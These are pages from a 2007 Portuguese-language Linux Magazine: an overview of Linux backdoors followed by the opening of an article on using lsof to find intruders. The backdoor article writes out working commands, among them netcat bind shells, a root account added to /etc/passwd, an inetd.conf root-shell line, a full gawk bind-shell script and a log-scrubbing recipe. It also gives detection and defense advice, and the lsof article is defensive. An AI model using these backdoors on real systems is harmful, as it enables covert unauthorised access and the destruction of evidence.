O utilitário Netcat também é uma backdoor popular. Ele tem a capacidade, por exemplo, de clonar discos rígidos. Para isso, o cracker digita o comando dd if=/dev/hda | netcat IPdestino_porta na origem e depois entra netcat -l -p porta > /dev/sda no sistema alvo, criando assim uma cópia idêntica do disco rígido de origem, incluindo quaisquer dados confidenciais nele armazenados. Entretanto, a abordagem típica para usar o Netcat como backdoor é ordenar ao programa que redirecione sua saída para uma shell. Se uma conexão for estabelecida com o sistema alvo, a entrada será passada diretamente à shell. O invasor precisa apenas digitar netcat -l -p 1234 -e /bin/bash na máquina alvo, e netcat IPdestino 1234 na máquina invasora.

Roubando senhas

Backdoor do inetd

A backdoor simplista envolve adicionar um usuário com privilégios de root a / etc/passwd ou /etc/shadow. O melhor local para inserir um novo usuário é em algum ponto no meio do arquivo, pois os administradores geralmente não os lêem com muita atenção. O arquivo passwd deve ficar assim após a adição: ... hacker_do_mal:x:0:0:Conta do hacker do ➥mal:/root:/bin/bash ...

Acrescentar uma conta de usuário significa que o agressor não necessita de um serviço específico; em vez disso, ele pode autenticar-se remota e localmente. Usando um serviço como SSH, o invasor pode tirar proveito do fato de que a sessão é impossível de analisar, mesmo com ferramentas como o tcpdump, pois ela usa uma conexão criptografada.

Mau uso do Awk

Poucos usuários compreendem o potencial destrutivo da clássica ferramenta Awk. Grugq demonstrou o Awk como backdoor durante a Blackhat Conference, em 2005. O ataque vincula o Awk a uma porta definida (exemplo 1). O invasor, então, pode digitar netcat endereçodestino 8080 para se conectar ao sistema alvo e receber uma simples shell.

O superservidor inetd também permite que agressores implementem backdoors simples. A técnica é bem simples: o agressor define um novo serviço acrescentando uma linha em /etc/inetd.conf. Pode-se usar a porta 79, na qual normalmente quem escuta é o daemon do finger. A entrada para instalar um serviço de backdoor com uma shell de root interativa é semelhante a: finger stream tcp nowait root /bin/sh sh -i. Como a porta 79 pertence a um serviço padrão, o invasor pode simplesmente usar a palavra-chave finger. O inetd verifica o arquivo /etc/services, busca se a porta apropriada está liberada e, caso esteja, começa a escutar nessa porta. Se o cracker utilizasse uma porta desconhecida, sem uma entrada respectiva em /etc/services, em vez do finger, seria necessário acrescentar uma entrada relativa ao serviço em /etc/services. Depois disso, o cracker poderia rodar netcat contra a porta do finger na máquina alvo, e assim obter uma shell de root.

Backdoor do PAM

Os Pluggable Authentication Modules (PAM) oferecem interfaces de programação para serviços de autenticação. A maioria das aplicações utiliza essa biblioteca atualmente, o que a torna um alvo particularmente interessante para atacantes enxertarem uma backdoor. Uma forma de comprometer o PAM é manipular o arquivo support.c no códigofonte do PAM para incluir uma senha secreta padrão. Depois, o módulo verifica se a senha passada está de acordo com a secreta e, se sim, autentica o invasor com sucesso. Se não, o método normal de autenticação é utilizado. Isso significa que cada um dos usuários no sistema (incluindo o root) possui duas senhas: uma armazenada em /etc/ shadow e uma senha esqueleto guardada na biblioteca PAM manipulada.

Loki 2

O Loki 2 [3] foi publicado na Phrack Magazine como uma prova de conceito de túnel de backdoor. A ferramenta disfarça comandos shell escondendo-os em pacotes ICMP echo, ICMP echo reply e requisições e respostas de buscas de nomes DNS. Um capturador de pacotes de rede como o tcpdump será incapaz de detectar qualquer tráfego suspeito num primeiro momento, pois o ataque não depende de portas que deveriam estar fechadas. Entretanto, analisando com mais atenção, o tráfego ICMP ou DNS incomum é um sinal. O Loki baseia-se em uma arquitetura cliente-servidor, e suporta criptografia por algoritmos como Blowfish e Xor. Isso dificulta bastante a reconstituição de uma sessão. Em aplicações práticas, as respostas a ICMP echo fazem mais sentido do que as requisições ICMP, pois vários firewalls bloqueiam pedidos que chegam, enquanto permitem que as respostas o atravessem

Figura 1

O phpRemoteShell oferece acesso oculto a agressores com qualquer navegador web. O invasor precisa apenas inserir um arquivo em um diretório adequado.

35

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


CAPA | Backdoor

– afinal, não faz sentido bloquear as respostas aos pings feitos por seus usuários.

Backdoors pela Web

Os invasores desenvolveram backdoors acessíveis pela Web com o objetivo de atravessar firewalls cuidadosamente criados. A lógica básica por trás disso é que o servidor web sempre precisa permitir o acesso a partir da Web, ou seja, sempre haverá uma porta aberta a ser explorada pelo criminoso. Isso levou ao desenvolvimento de backdoors para CGI e PHP. Ambas funcionam sobre os mesmos princípios, e oferecem ao agressor o acesso através do navegador. Uma grande vantagem de backdoors web é que o acesso ao servidor pode ser tunelado através de serviços de anonimato, como o Tor e o JAP. O phpRemoteShell [4] é um exemplo desse tipo de backdoor. O invasor apenas oculta o arquivo PHP em algum local das profundezas do sistema de arquivos, atribuindo a ele as permissões adequadas. Nada mais é necessário para obter o acesso através de qualquer navegador (figura 1). A shell oculta expõe informações do sistema e executa comandos arbitrários na máquina alvo. Ao mesmo tempo, inclui um navegador de diretórios que suporta o upload e o download de arquivos (figura 2). Alguns backdoors web estabelecem uma conexão com um servidor web mestre e aceitam comandos embutidos no código HTML. A vantagem é que a conexão é iniciada de dentro do perímetro da rede, o que muitas vezes auxilia o invasor a contornar o firewall. O fato de os comandos estarem escondidos no código HTML é outra grande vantagem, pois dificulta a detecção do código larápio por especialistas forenses. O túnel WWW reverso [5] é um exemplo desse tipo de backdoor.

Figura 2

Backdoors web como o phpRemoteShell oferecem recursos convenientes de download e upload de arquivos de qualquer tipo.

Quadro 1: Limpeza de registros Eliminar vestígios é um dos primeiros passos do invasor experiente. O grep é a forma mais fácil para fazer isso. A opção -v suprime linhas que coincidam com uma dada expressão regular. Por exemplo, se quisermos apagar do log todas as linhas que contenham o endereço IP 192.168.100.12, usaremos os seguintes passos: cat arquivo_de_log |grep -v “192.168.100.102” >> arquivo_de_log.mod mv arquivo_de_log.mod arquivo_de_log É claro que esse método não é realmente seguro. Seria bem fácil recuperar as entradas originais com uma ferramenta forense. Infelizmente, basta essa abordagem simples para enganar a maioria dos administradores. Um cracker mais obstinado usaria o wipe no arquivo de log original para apagá-lo, em vez de apenas sobrescrevê-lo. Um limpador de logs como o do Darklab.org1 também pode ser útil.

Bindshell

Todos os tipos de backdoors examinados até agora possuem uma grande desvantagem: não oferecem suporte ao terminal. São todos orientados à linha de comandos, o que explica por que não se consegue rodar programas orientados a caracteres, tais como o vi. Uma backdoor sem essa desvantagem, e com suporte ao terminal, é o bindtty [6], do cracker sd. Existe uma ferramenta baseada na arquitetura cliente-servidor, na qual o componente servidor abre uma porta fixa no sistema alvo (4000, por padrão). Sempre que um cliente se conectar à porta, receberá uma shell com suporte a pseudo-terminais. Isso oferece ao invasor acesso irrestrito ao sistema remoto – uma grande vantagem em comparação com os tipos mais antigos de backdoor. Ao mesmo tempo, a backdoor permite que múltiplos invasores entrem no sistema simultaneamente, uma possibilidade que as backdoors baseadas no netcat ou no gawk não oferecem.

Backdoors de captura de pacotes Uma técnica de backdoors relativamente recente é baseada na captura de pacotes. Essas backdoors capturam todo o tráfego em uma interface de rede e respondem a pacotes especialmente criados. O Silentdoor [7] é uma implementação de backdoor de captura de pacotes que usa a funcionalidade de captura provida pela libpcap. A backdoor captura os pacotes destinados à porta UDP 53. Para garantir que a backdoor reaja apenas aos pacotes destinados a ela, o Silentdoor possui uma abordagem de quatro etapas: ➧ Procura os requisitos de uma chave de backdoor; ➧ Descriptografa o conteúdo do pacote (com Xor);

➧ Verifica se os dados decifrados realmente contêm um comando para o Silentdoor; ➧ Executa o comando. Mais uma vez, essa backdoor não oferece ao invasor o suporte ao terminal. A maior força do Silentdoor é o fato de que fica bem escondido e somente utiliza uma porta enquanto a conexão existir. É possível encontrar backdoors de captura de pacotes buscando conexões SSL, pacotes com componentes criptográficos e conexões com portas desconhecidas.

Safebreaker

O Safebreaker [8] pertence à próxima geração de backdoors de captura de pacotes. A motivação para seu desenvolvimento foi criar uma backdoor que não dependesse da libpcap do tcpdump [9], que possui muitos problemas de estabilidade e está ausente em diversos sistemas. Ao mesmo tempo, os desenvolvedores queriam que o Safebreaker usasse uma combinação de técnicas contemporâneas e demonstrasse os riscos potenciais que emanam de uma nova geração de backdoors. Outro importante objetivo é o de substituir a fraca criptografia por Xor por um método mais robusto. Os desenvolvedores do Safebreaker consideraram três bibliotecas para essa tarefa: OpenSSL[10], GnuTLS [11] e Cryptlib [12], optando, ao final, pela GnuTLS, devido à excelente documentação, seus recursos e à facilidade de integração com softwares já existentes. Apenas algumas linhas de código são necessárias para modificar as funções já existentes de recepção e envio de pacotes, além de fornecer à backdoor uma conexão criptografada. Basicamente, o Safebreaker funciona da seguinte maneira: ➧ Para cada pacote que chega, verifica se é um pacote TCP. Caso não seja, não pode conter uma mensagem para

36

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Backdoor | CAPA

Tabela 1: Ferramentas de backdoor Nome

Descrição

Origem

Kaiten

Uma backdoor para IRC. Ela se liga à porta 6667 de um servidor IRC, e espera comandos em um canal. Entre outras coisas, a backdoor suporta vários ataques de sobrecarga, e pode executar comandos arbitrários.

http://packetstorm.linuxsecurity.com/irc/kaiten.c

Netcat

Devido à sua capacidade de passar sua entrada e saída para outros programas, o Netcat é usado com freqüência como backdoor por script kiddies.

http://netcat.sourceforge.net

phpRemoteShell

O phpRemoteShell é uma backdoor web; invasores podem simplesmente jogá-la em um diretório com suporte a PHP. A shell remota dá ao agressor acesso a uma shell, e suporta a navegação em diretórios, assim como upload e download de arquivos.

http://phpremoteshell.labs.libre-entreprise.org/

Backdoor de túnel WWW reverso

Uma backdoor para contornar diversos firewalls. Ela se conecta a um servidor web mestre, e aceita comandos embutidos no código de páginas web.

http://packetstormsecurity.org/ groups/thc/rwwwshell-2.0.pl.gz

Bindtty

Uma backdoor com suporte a terminal. O Bindtty escuta na porta 4000, por padrão.

http://www.2701.org/archive/200311240000.html

Silentdoor

O Silentdoor é uma backdoor de última geração. Ele não escuta em uma porta específica, mas usa a libpcap para capturar o tráfego da rede. Quando detecta um pacote especialmente criado, o Silentdoor pode fornecer uma shell, por exemplo.

http://cmn.listprojects.darklab. org/SAdoor-20031217.tgz

Safebreaker

Uma backdoor de nova geração que utiliza RAW sockets em C para capturar o tráfego da rede, e fornece um terminal ou se conecta de volta caso detecte um pacote especialmente criado. Para ofuscar o conteúdo da sessão, usa o gnutls na criptografia do tráfego.

http://www.informatik.uni-freiburg.de/~alsbiha/code.htm

Loki

Uma backdoor que usa pacotes ICMP para tunelar comandos. Os pacotes podem ser criptografados por Blowfish ou XOR.

http://packetstorm.linuxsecurity.com

Arquivos SUID

Arquivos SUID podem ser substituídos por binários com cavalos de tróia embutidos. O invasor pode obter privilégios de root usando um parâmetro ou especificando uma variável de ambiente.

Backdoor do PAM

Como os Pluggable Authentication Modules são a interface padrão para autenticação no Linux, uma senha padrão pode ser embutida em support.c para suportar a autenticação baseada em qualquer servidor que use o software PAM manipulado.

@/etc/passwd@, /etc/shadow e /etc/inetd.conf

Os invasores normalmente acrescentam nesses arquivos novos usuários com privilégios de root, ou serviços que permitam que agressores se autentiquem.

a backdoor, e então ela prossegue à análise do próximo pacote; ➧ Para cada pacote TCP, compara a porta alvo a um valor fixo. Apenas pacotes com um número de porta específico são endereçados à backdoor, e todos os outros podem ser ignorados. A backdoor não bloqueia ou abre a porta. A avaliação da porta alvo serve simplesmente para restringir ainda mais o número de pacotes possivelmente destinados à backdoor. Isso não tem qualquer efeito sobre o serviço que estiver usando a porta no momento; ➧ O próximo passo é verificar se os campos SYN e ACK estão assinalados conforme esperado; ➧ Se sim, o próximo passo é verificar se a ID do pacote coincide com a ID mágica da backdoor; ➧ Na última etapa, podemos ter uma certeza razoável de que o pacote contém instruções destinadas à

backdoor. Nesse caso, o número da seqüência do pacote é avaliado. Certos números de seqüência representam comandos específicos. O Safebreaker pode realizar duas tarefas distintas: tanto ligar-se a um pseudo-terminal na porta especificada pelo pacote, repassando o controle ao remetente, quanto conectar-se de volta ao cliente, novamente usando a porta especificada no pacote. Essa técnica contorna a maioria das regras de firewall, pois elas freqüentemente permitem qualquer conexão de saída que tenha sido iniciada na rede interna. Essa técnica apenas bloqueia uma porta se existir uma conexão entre o invasor e a backdoor, ou seja, quando o cracker estiver registrado no sistema – o netstat não mostra a conexão em nenhuma outra circunstância. Outra vantagem é que a backdoor não é acessível para usuários

arbitrários; para acessá-la, são necessários os valores corretos de porta, número de seqüência e ID.

Encontrando backdoors É sempre bom usar um verificador de integridade do sistema de arquivos como o Tripwire [13]. Ele monitora arquivos e diretórios críticos do sistema através de somas, comparando-as periodicamente com seus valores históricos. Se o Tripwire detectar uma alteração, ele notifica o administrador. Isso também oferece aos administradores a capacidade de reconstruir quais arquivos sofreram alterações, foram apagados ou criados durante um ataque. Isso não cobre cenários nos quais o invasor apaga o binário após iniciar a backdoor. A ferramenta está na memória, mas não

37

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


CAPA | Backdoor

Exemplo 1: Backdoor do Awk 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23

#!/usr/bin/gawk -f BEGIN { Port = 8080 # Porta para escutar Prompt = “bkd> “ # Prompt a ser mostrado # Abrir uma porta para escutar Service = “/inet/tcp/” Port “/0/0” while (1) { do { # Mostrar o prompt printf Prompt |& Service # Ler o comando Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) # Executar o comando, # retornar a resposta print $0 |& Service close(cmd) } } while (cmd != “exit”) close(Service) }

no disco. Apesar de um reinício eliminar a backdoor, o Tripwire e ferramentas similares não conseguem detectar o ataque. Também é interessante verificar os arquivos /etc/shadow, /etc/passwd e /etc/ inetd.conf em intervalos regulares. Pode-se fazer isso simplesmente comparando-os através de cópia numa mídia protegida contra gravação usando diff. Se seu servidor SSH suportar o login por chave, verifique o arquivo authorized_keys em busca de entradas indevidas. Nesse caso, o invasor nem precisaria de uma senha para se autenticar. Para os grandes arquivos, o diff [14] novamente é uma boa escolha. Outra medida de proteção é procurar regularmente arquivos SUID que possam ser explorados como backdoors. A forma mais fácil para isso é com o comando: find / -type f -perm -04000 -ls -uid 0 2>/ ➥dev/null

Como uma backdoor independente também é um processo independente, a ID e o nome do processo aparecerão na lista de processos, a menos que tenham sido ocultados por um rootkit como o Override15. É por isso que a maioria das backdoors se esconde atrás de nomes pouco chamativos, como ps. É fácil sobrescrever o nome do programa sobrescrevendo argv [0]. Por outro lado, esse tipo de camuflagem é bem trivial. Apenas verifique o tempo de execução do processo, e se você vir um ps em execução há mais de 12 horas, pode concluir que ele é um processo larápio.

Também é importante atentar ao fato de que backdoors simples escutam conexões de entrada em uma porta fixa. Essa porta será mostrada na saída do netstat. Entretanto, como rootkits como o Override são capazes de ocultar portas, jamais se deve sentir seguro demais: o comando netstat -an |grep LISTEN |grep -v LISTENING mostra uma lista de portas abertas. Varredores de portas (portscanners) oferecem uma abordagem mais confiável para investigar as portas. Rastrear backdoors novíssimas de captura de pacotes é uma tarefa mais difícil. O netstat somente mostra uma conexão quando um cliente entra na máquina, e uma porta não pode ser aberta nesse caso. Em outras palavras, o netstat não pode ajudar nesse ponto, principalmente se alguma conexão de rede já estiver estabelecida com a rede interna. Nesse caso, um varredor de portas também seria incapaz de ajudar. A única abordagem nesse cenário é usar um capturador de redes como o tcpdump ou o Wireshark [16] (antigo Ethereal). Como backdoors de captura de pacotes usam um procedimento fixo para verificar se um pacote é destinado à backdoor, só se pode detectá-los verificando padrões recorrentes no tráfego de rede. Afinal, é improvável que uma porta use um número de seqüência e uma ID idênticos o tempo todo. Se você definir regras que verificam isso, será bem fácil detectar anomalias no tráfego de rede. Sistemas de IPS (prevenção de intrusão) e IDS (detecção de intrusão) também podem ajudar a evitar backdoors conhecidas.

Defesa

Não existe uma solução única para todas as backdoors. Se um agressor conseguiu instalar uma backdoor em seu sistema, a segurança provavelmente já possuía algumas brechas. Uma boa backdoor sempre requer privilégios de root. Uma vez que um intruso obtenha status de root, pode-se supor que o sistema não esteja mais saudável. O mais importante a ser lembrado em relação à proteção contra backdoors é a necessidade de uma política de segurança robusta, além da urgência de se aplicar patches de segurança regularmente. Regras de firewall comprovadamente seguras também podem contribuir para a segurança do sistema. Suas regras devem seguir a máxima de negar tudo que não seja explicitamente permitido. As regras de firewall que permitam qualquer tipo de tráfego da rede interna para o mundo externo são um convite aos crackers que usam métodos de conexão de volta (connect back).

Por último, é interessante usar proxies e balanceamento de carga. Se você configurar o firewall para se comunicar apenas com os proxies e balanceadores de carga, os crackers passarão por maus bocados para descobrir um vetor de ataque. Agressores ainda conseguirão injetar uma backdoor web; porém, ela não terá privilégios de root ou suporte a terminal, e normalmente não será muito divertida para o invasor. O que quer que você faça, certifique-se de eliminar todas as opções ou serviços desnecessários para sua configuração. ■

Mais Informações [1] Rootkit: Arma secreta. Linux Magazine 22, pg. 28. Agosto de 2006.

[2] Logfile cleaner: http://darklab.org/~jot/ logclean-ng/logcleaner-ng.html [3] Loki 2: http://artofhacking. com/files/phrack/phrack51/ live/aoh_p51-06.htm [4] Phpremoteshell, por Emmanuel Saracco:

http://labs.libre-entreprise.org [5] rwwwshell, por Van Hauser: http://gray-world.net/ papers/rwwwshell.txt [6] Bindtty: http://www.2701.org/ archive/200311240000.html [7] Silentdoor, por Brandon Edwards: http://www.megasecurity. org/trojans/s/silentdoor/ Silentdoor.html [8] Safebreaker, por Amir Alsbih: http://www.informatik.unifreiburg.de/~alsbiha [9] TCPDump: http://www.tcpdump.org/ [10] OpenSSL: http://www.openssl.org [11] GnuTLS: http://www.gnu.org/software/gnutls/ [12] Cryptlib, por Peter Gutmann: http://www.cs.auckland. ac.nz/~pgut001/cryptlib/ [13] Tripwire: http://sourceforge. net/projects/tripwire/ [14] Diffutils: http://www.gnu.org/software/ diffutils/diffutils.html [15] Rootkit Override: http://www.informatik.unifreiburg.de/~alsbiha [16] Wireshark: http://www.wireshark.org

38

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Buscando intrusos

Checagem rápida CAPA

Busque e exponha invasores com a versátil ferramenta de administração lsof. por Caspar Clemens Mierau

Gerla Brakkee - www.sxc.hu

S

eu servidor foi invadido? Seus processos começaram a entrar em parafuso? Se você suspeita de uma invasão, necessitará de informações precisas a respeito do que está ocorrendo no sistema. Arquivos abertos são recursos muito úteis para esse fim. O lsof[1] varre as profundezas do sistema de arquivos em busca desses arquivos, retornando em seguida uma saída abrangente e profunda. Para se preparar totalmente para um ataque, é necessário um sistema de detecção de intrusões (IDS) como o Snort, Tripwire ou Aide para verificar o sistema de arquivos e fluxos de dados à procura de padrões malévolos. No entanto, se você não dispuser do tempo ou dos recursos para uma resposta completa a invasões, o Linux oferece diversos programas padrão de linha de comando capazes de descobrir vestígios de intrusos num sistema. Os suspeitos normais para diagnósticos de servidores são ps, netstat, top, fuser e outros programas auxiliares. O lsof é uma ferramenta única que fornece um resumo das informações do sistema. É possível usar o lsof como fonte de informações que, de outra forma, exigiriam uma grande quantidade de utilitários administrativos. Como diz o adágio, no Unix “tudo é um arquivo”. Quase todas as atividades de um

sistema semelhante ao Unix possuem alguma relação com um arquivo aberto. Esses sistemas usam arquivos regulares, arquivos de bloco especiais, executáveis, bibliotecas, diretórios, fluxos de dados internos (Unix Domain Sockets) e conexões de rede. O lsof é capaz de coletar e sintetizar, de forma centralizada, todas essas informações, gerando indicadores significativos a respeito da natureza de um ataque. Assim como qualquer utilitário, o lsof está sujeito a manipulação uma vez que o agressor se sinta confortável. Se você desejar levar a sério o uso do lsof para detectar intrusões, pule o passo make install após a compilação e mova manualmente o binário para um local protegido contra gravação, como um CD-ROM, por exemplo. É claro que, se um invasor sofisticado tiver modificado o kernel (através de um rootkit de kernel, por exemplo), a saída do lsof não será confiável, mesmo que a ferramenta em si não tenha sido manipulada. Todavia, como veremos neste artigo, diversos invasores tentam truques pouco sofisticados, sendo facilmente revelados por uma ferramenta como o lsof. O lsof não substitui um IDS completo, porém, se for tarde demais para isso ou se não houver interesse em implementar e gerenciar um sistema mais abrangente, ainda é possível usar o lsof para buscar rastros.

Investigações

A tabela 1 lista vários exemplos de investigação de um sistema. Se a opção de segurança do lsof for ativada, apenas o superusuário receberá a saída detalhada desses comandos. No modo seguro, o lsof mostrará aos usuários apenas os detalhes que os afetem diretamente, entretanto, mesmo no modo inseguro, o lsof oferece menos detalhes aos usuários comuns do que ao superusuário, pois são necessárias as permissões deste para acessar os detalhes em /proc. O lsof utiliza um formato tabular para mostrar as informações filtradas conforme especificado pela lista de parâmetros, incluindo as seguintes colunas, por padrão: ➧ Nome do processo: COMMAND ➧ ID do processo: PID ➧ Nome da conta de usuário do sistema sob a qual o processo está em execução: USER ➧ Descritor do arquivo: FD ➧ Tipo do arquivo: TYPE ➧ Dispositivo: DEVICE ➧ Tamanho: SIZE ➧ Conexão: NODE ➧ Nome completo: NAME

Exemplo 1: Compilação do lsof 01 02 03 04 05 06 07 08 09 10 11

wget ftp://lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof.tar.bz2 tar xjf lsof.tar.bz2 cd lsof_4.77 wget ftp://lsof.itap.purdue.edu/pub/Victor_A_Abell.gpg gpg --import Victor_A_Abell.gpg gpg --verify lsof_4.77_src.tar.sig lsof_4.77_src.tar tar xf lsof_4.77_src.tar cd lsof_4.77_src ./Configure linux make -s ./lsof -v

Figura 1 A promissora ferramenta Glsof oferece uma fácil interface gráfica àqueles que apreciam, para acessar as configurações de filtros.

39

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


CAPA | Lsof

Quadro 1: Encontrando e compilando o lsof O lsof suporta diversos sistemas derivados do Unix, e provavelmente é parte do seu sistema Linux, ou, ao menos, deveria residir no repositório padrão. Para instalá-lo no Debian, por exemplo, só é necessário o comando apt-get install lsof. O pequeno pacote não possui dependências além da Libc 6. Dito isso, há dois motivos para se evitar o binário pré-compilado: compatibilidade com o sistema e segurança. Como diz o desenvolvedor do lsof, Vic Abel, nas FAQ[2], só se pode garantir um conjunto completo de recursos e estabilidade ótima caso se compile a versão atual do lsof na máquina alvo, pois o programa via fundo na arquitetura do sistema e no kernel. Sempre é melhor obter ferramentas que serão usadas para análises preventivas ou forenses a partir de fontes seguras, e não misturá-las a ferramentas padrão do sistema, para evitar o risco de manipulação por rootkits.

Figura 2 O diálogo de filtro do Jlsof informa os parâmetros corretos para o lsof. Apesar de ele aparentemente apenas confundir os usuários de interfaces gráficas, facilita a migração dos usuários para a linha de comando.

É possível manipular a saída para processá-la com outras ferramentas, com uso de lsof -F. A formatação especial ajuda as ferramentas subjacentes a examinar campos individuais (veja a seção da página de manual OUTPUT FOR OTHER PROGRAMS para mais detalhes).

Os fontes do lsof são fáceis de compilar, então você também pode compilar uma versão de acordo com seu sistema. Os comandos no exemplo 1 baixam o código-fonte a partir da rede; use o GnuPG para verificar a assinatura (note que a chave, em nosso exemplo, foi obtida de uma fonte insegura), configure o código-fonte e compile-o. Durante a fase de configuração, pede-se que o usuário tome algumas decisões. As opções HASSECURITY e HASNOSOCKSECURITY são importantes. Se for desejável que somente o superusuário consiga usar o lsof para listar arquivos e soquetes abertos para todos os usuários, é necessário responder y e n. A terminologia inconsistente tende a causar confusão. Ao completar a compilação, ./lsof -v informa quais opções foram usadas na compilação. A mensagem Only root can list all files significa que os usuários normais serão incapazes de fazer mau uso do programa para acessar informações críticas do sistema. Restringir acesso ao lsof é uma solução de segurança praticamente cosmética, já que boa parte da informação que ele disponibiliza também pode ser obtida com ferramentas como ps e netstat, embora o processo possa não ser menos conveniente nesses programas. As versões pré-compiladas das diversas distribuições lidam com a segurança de formas diferenciadas. O Debian fornece aos usuários não administrativos acesso irrestrito ao lsof, enquanto o Red Hat Enterprise aplica algumas limitações.

Expectativas

Torrente de informações A execução do lsof sem a configuração prévia dos parâmetros retorna informações demais para fornecer um panorama útil – a torrente de informações assustaria muitos usuários. Porém, os parâmetros da linha de comando podem ajudar o lsof a se concentrar nos dados necessários. Se múltiplos parâmetros forem utilizados em conjunto, o lsof presumirá uma operação lógica ou por padrão; entretanto, pode-se especificar -a para usar uma operação e (última linha da tabela 1). Identificar processos que impeçam os usuários de desmontar uma mídia de armazenamento é uma tarefa típica do lsof. Executá-lo com a opção -t nome_do_diretório retorna uma lista de IDs de processo numérica que estão acessando o CD-ROM: $ umount /dev/cdrom umount: /cdrom: device is busy $ kill -9 `lsof -t /dev/cdrom` $ umount /dev/cdrom

No entanto, esse método é tão drástico quanto eficiente.

Os comandos listados na tabela 1 são úteis para descobrir fatos importantes a respeito de um sistema, seja antes ou depois de uma invasão. Para se defender desses larápios, é necessário ter familiaridade com o status normal, e estar atento à localização provável das entradas suspeitas. O exemplo a seguir usa um sistema LAMP (Linux, Apache, MySQL e PHP) tradicional. O administrador percebe um enorme aumento no uso da rede, o qual não reflete o número de páginas acessadas. Ele então suspeita que um invasor tenha injetado um cavalo de tróia que copia arquivos através dos fios, inicia ataques de rede distribuídos ou envia spam. Num ambiente LAMP, a interface PHP do sistema é um dos principais alvos de ataques, pois essa linguagem sofre de algumas falhas de projeto[6], mas scripts mal feitos podem expor o sistema com igual facilidade. Se você conhecer os padrões típicos de ataques ao PHP, provavelmente já adivinhou quais tipos de informações devem ser procuradas com o lsof. O servidor web Apache roda sob sua própria conta de usuário por padrão, www-data

Exemplo 2: Camuflagem no bash 01 02 03 04 05

COMMAND PID USER FD bash 30334 www-data bash 30334 www-data bash 30334 www-data bash 30334 www-data

TYPE DEVICE SIZE NODE NAME cwd DIR 3,8 4096 1571340 /home/user/public_html/w-agora/.m txt REG 3,8 496231 1571405 /home/user/public_html/w-agora/.m/bash 0w REG 3,8 125 1571408 /home/user/public_html/w-agora/.m/LinkEvents 2u IPv4 4709341 TCPserver.com:40001->undernet.xs4all.nl:ircd ESTABLISHED)

(no Debian), apache, httpd ou, na pior das hipóteses, nobody (essa conta geralmente é reservada para o NFS). De uma forma geral, processos adicionais são executados como root para suportar portas baixas e também para possibilitar a abertura de arquivos de registro. Em contraste a isso, as comunicações de dados são tratadas por processos sem privilégios. Portanto, um servidor web oferece uma configuração dedutível de usuários, arquivos executáveis e portas abertas. Por exemplo, o usuário www-data roda o executável /usr/sbin/apache2 no Debian.

O que roda onde?

Nesse contexto, é necessária a execução de lsof -a -d txt -u www-data para listar processos que executem o arquivo /usr/ sbin/apache2 sob a conta de usuário wwwdata. A opção -a fornece um E lógico, -d txt lista apenas os arquivos executados, e -u www-data restringe a saída a somente um usuário. Em condições normais, isso fornecerá apenas os processos do Apache. Se um invasor conseguir manipular o PHP ou seus scripts nessa linguagem e executar comandos do sistema e programas no servidor, esses comandos e processos geralmente serão executados sob a mesma conta do Apache – a menos que o agressor consiga aumentar seus privilégios e obter acesso de root explorando outras falhas de segurança. Encontrar processos que pertençam ao usuário do Apache, e que também

40

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Lsof | CAPA

acessem outros binários ou portas inesperadas, deve acionar os alarmes. Um lsof -p PID investiga os processos suspeitos em busca de detalhes das conexões de rede, bibliotecas que tenham sido carregadas, arquivos abertos e várias outras coisas. Como crackers tendem a usar seus próprios servidores FTP, IRC, telnet ou SSH, a análise inicial deve incluir a busca de portas abertas. O comando lsof -a -i -u www-data |grep LISTEN lista todos os soquetes IP (-i), quais soquetes o usuário do Apache abriu (-u www-data), e quais estão escutando à espera de conexões (isso explica o grep LISTEN). Todas as portas além de 80 (HTTP) e 443 (HTTPS) são suspeitas. Embora a execução de netstat retorne resultados similares, o lsof pode ajudar a realizar uma análise mais detalhada sem a necessidade de outras ferramentas.

O mundo real

Exploits para Apache e PHP são razoavelmente comuns. Os exemplos 2 e 3 mostram dois trechos dos logs do lsof em servidores comprometidos, e são suficientes para o diagnóstico de um ataque. Os resultados mostrados a partir da análise de processos pertencentes à conta wwwdata. Confira o exemplo 4 para outra amostra desse funcionamento.

Exemplo 3: Injeção em um proxy IRC 01 02 03 04 05 06 07 08 09

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME a 10555 www-data 266u IPv4 2808 TCP *:https (LISTEN) a 10555 www-data 267u IPv4 2809 TCP *:www (LISTEN) a 10555 www-data 543u IPv4 757852768 TCP *:9713 (LISTEN) psybnc 10615 www-data 266u IPv4 2808 TCP *:https (LISTEN) psybnc 10615 www-data 267u IPv4 2809 TCP *:www (LISTEN) psybnc 10615 www-data 543u IPv4 757871322 TCP *:ircd (LISTEN) psybnc 10615 www-data 549u IPv4 762054917 TCP server.com:35614->oslo1.no.eu.undernet.org:ircd (ESTABLISHED) bind 22004 www-data 543u IPv4 696149859 TCP *:1982 (LISTEN)

No primeiro exemplo, o agressor explora uma versão antiga do W-Agora (um software de fóruns online) e um diretório sem proteção contra escrita (exemplo 2, linha 2: /home/usuario/public_html/w-agora/). O invasor criou um novo diretório .m para usar como diretório de trabalho (linha 2, coluna FD: Diretório de trabalho atual). O agressor fez upload de arquivos C para o diretório e, em seguida, compilou e executou os arquivos com uma conta pouco chamativa sob o nome de bash. No entanto, como se pode ver na linha 5, os programas não são tão inofensivos quanto o nome sugere; esse bash possui uma conexão aberta com um servidor IRC. Além disso, o bash gravou dados no arquivo LinkEvents, o que é óbvio a partir do descritor de arquivo 0w (ou seja, o bash abriu a saída padrão para escrita).

Tabela 1: Exemplos do lsof Comando

Explicação

lsof

Sem parâmetros, o comando mostra um panorama.

lsof /bin/bash

Lista todos os processos que usam o bash.

lsof -p PID

Lista os arquivos abertos pelo processo identificado pela ID informada.

